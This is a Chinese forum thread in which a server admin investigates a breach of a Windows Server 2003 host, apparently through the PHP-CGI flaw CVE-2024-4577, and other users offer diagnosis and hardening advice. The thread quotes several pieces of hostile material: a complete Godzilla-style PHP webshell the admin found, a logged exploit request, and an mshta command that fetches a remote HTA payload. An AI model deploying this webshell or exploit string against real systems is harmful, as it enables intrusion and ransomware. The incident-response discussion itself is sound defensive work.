服务器(windows server 2003),阿里云的,运行了 xampp ,也运行了 iis (为了兼容以前的程序)。 服务器是给自己另外的一个服务器提供数据,是使用的 web 接口。 刚刚远程登录,上面出现了 5 个异常窗口,标题是“http://88.218.76.13/d3.hta”,明显是被攻击了,之前没有遇到过这种,窗口是使用“mshta http://88.218.76.13/d3.hta”,查到每个窗口对应一个进程的父进程是独立的 cmd ,一共 5 个 cmd ,进程还都在,但是这 5 个 cmd 的父进程不在了,无法进一步追查。看了 apache 日志和 iid 日志,里面没有找到关于 88.218.76.13 的信息。这个窗口里面的源代码是
<HTML><HEAD> <META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD> <BODY></BODY></HTML>”
我想先将 mshta 删除掉,但是还是不知道是哪里出现了问题,想追查漏洞的出处,如何追查呢? 所有的程序都是我自己写的,接口出现问题的可能性很小。
1
idragonet 167 天前
windows server 2003 ??没搞错吧,今年是 2024 了。
|
2
NewYear 167 天前
你用的 xampp 榜上有名啊。
php 最近公布影响几乎所有版本的漏洞,修补了没? |
3
hefish 167 天前
这么老的机器,跑在互联网上,即便不上 waf 之类的, 至少搞个 ip 白名单吧。 因为他是提供接口的嘛,应该能搞 ip 白名单。
|
4
wheat0r 167 天前
感觉是在叠 buff
|
5
cnevil 167 天前 1
CVE-2024-4577 ?
|
6
wtks1 167 天前
2003 ,这个太老了,rdp 直接就有可以利用的漏洞吧,好歹做个白名单
|
7
janus77 167 天前 via Android
虽然不知道是什么原因,但是升级新版本至少是可以堵上很多漏洞的
|
8
Fred0410 167 天前
2003 漏洞多到令人发指。。
|
9
nekopara 167 天前
优质肉鸡
|
10
euph 167 天前
@cnevil 应该是了 https://www.secrss.com/articles/66997 ,和文中事件二一样
|
11
rulagiti 167 天前
行走的肉鸡?
|
12
ShinichiYao 167 天前
|
13
wangybsyuct OP @euph
@cnevil @hefish @wtks1 果然是,我在 web 根目录里发现个文件叫 Zq91u4b.php ,里面的内容就是有关 payload 的,暂时未发现服务器异常,可能是所有的程序都是自己写的原因,勒索软件暂时没有得逞,刚刚做了个快照,想想怎么完善一下,谢谢大家。那个 php 文件原文是这样的。 ><?php >@session_start(); >@set_time_limit(0); >@error_reporting(0); >function encode($D,$K){ > for($i=0;$i<strlen($D);$i++) { > $c = $K[$i+1&15]; > $D[$i] = $D[$i]^$c; > } > return $D; >} >$pass='dddzzz'; >$payloadName='payload'; >$key='f25200d5d90fa403'; >if (isset($_POST[$pass])){ > $data=encode(base64_decode($_POST[$pass]),$key); > if (isset($_SESSION[$payloadName])){ > $payload=encode($_SESSION[$payloadName],$key); > if (strpos($payload,"getBasicsInfo")===false){ > $payload=encode($payload,$key); > } > eval($payload); > echo substr(md5($pass.$key),0,16); > echo base64_encode(encode(@run($data),$key)); > echo substr(md5($pass.$key),16); > }else{ > if (strpos($data,"getBasicsInfo")!==false){ > $_SESSION[$payloadName]=encode($data,$key); > } > } >} > |
14
hgert 167 天前
当你已经怀疑一台服务器的时候 最好的办法就是备份数据后重装 doge
|
15
Sw0rt1 167 天前
@wangybsyuct #13 经典的 phpwebshell ,Godzilla 使用的 webshell ,光看这个 payload 肯定看不出它是怎么拿到权限的,还是得看日志,建议有备份就恢复或者转移,没备份现在备份下换环境处理下。2003 太老了,再说也不知道你 web 环境是什么,多方面都有可能。
|
16
Sw0rt1 167 天前
不过光看你上面发的 ip 和文件名来看,是 TellYouThePass 常用的,而且从 ioc 库里看到的这个团伙最近确实是使用了 CVE-2024-4577 的 poc 来攻击,好消息是你没中勒索的招,坏消息是,这个 phpwebshell 很有可能跟你屏幕上存在的 cmd 窗口中的那个团伙并不是一个,也许是两伙人,也有可能是三。。甚至更多。
|
17
ShinichiYao 167 天前
|
18
chf007 167 天前
阿里云还能给你提供 server 2003 也是的
|
19
chf007 167 天前
成功的勾起了十几年前的回忆
想当年 07 、08 年左右最喜欢搞的就是这个,进去后再加个粘滞键的利用 你 3389 登录的时候连按下 shift 看看有没有惊喜 |
20
wangybsyuct OP @Sw0rt1
@hgert @ShinichiYao @chf007 使用多款杀毒软件扫描过了,处理这些,还发现了一个被植入的挖矿程序.moneroocean ,从文件日期看,是十几天前,是不是我的系统太老了,导致其无法进一步捣乱。服务器存在的时间比较久,里面的数据有点多而且复杂,阿里云对 2003 也提供的充分的支持。如果是换成新的 windows 或者 linux ,是不是就容易中招了呢?! 服务器已经手动做了很多防护,针对远程桌面的攻击比较频繁,防护的方法除了改端口改用户名等,我还写了一个日志分析程序,如果遇到攻击远程桌面,会给发邮件,微信就会提醒。 攻击日志就像下面的,数量不多。 128.199.166.165 - - [08/Jun/2024:16:01:43 +0800] "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 200 12 从日志看,apache 居然返回的 200 的成功标志? 我自己请求这个字符串时,返回的是 500 ,居然不是 404 。 |
21
ShinichiYao 167 天前
换成最新 Windows 也没用,这个漏洞只有更新 PHP 到 8.1.29, 8.2.20, 8.3.8 才能彻底堵住,XAMPP 是肯定不能再用了
|
22
sampeng 166 天前
win server 2003 ? xanmp ? iis ?你搁这叠 buf 呢。。。
既然是阿里云,就要养成做好环境就打包镜像为镜像,坏了随时拉一个新的环境起来。干干净净。被黑了一般只有一条路:重开一台机器重新搞环境。不要相信自己能去干净。我之前也这么想,md ,这破玩意 1 年后在公司里有 tm 炸了。。 |
23
sampeng 166 天前
哦。。我突然反应过来。。你为毛要把机器暴露在外网呢。。。只暴露 443 端口不就完了?有且只有两类漏洞可以利用:iis/apache+自己开发的接口。。起个 nginx 档在前面只暴露 443 端口。。完事= =!
|
24
ShinichiYao 166 天前
@sampeng 这个漏洞根本不需要暴露外网,只要你开了 80 或者 443 就可以攻击
|
25
wangybsyuct OP @sampeng
@ShinichiYao 这个攻击,只要符合条件,1.中文操作系统,2.php 版本是最高的。这个是利用 php 的漏洞,处理%2d 字符的漏洞,是没法儿预防的,开了 80 或者 443 都可以攻击。如果 php 无法升级,暂时可以用 Rewrite 重定向处理,然后屏蔽掉 system,exec,shell_exec,passthru,popen 加固一下。 |
26
sampeng 166 天前
@wangybsyuct 不是,你没明白我的意思。我的意思是。首先,缩小攻击面。只有 80 和 443.这样你就只要考虑 php 漏洞这一项了。其他什么乱七八糟的都不需要考虑。就围绕 443 解决可能出现的漏洞就好了。没有 100%能攻破的漏洞,只要你知道是怎么进来的。那就见缝拆招好了。不知道?重写部分危险接口。。完事。。哈哈哈
|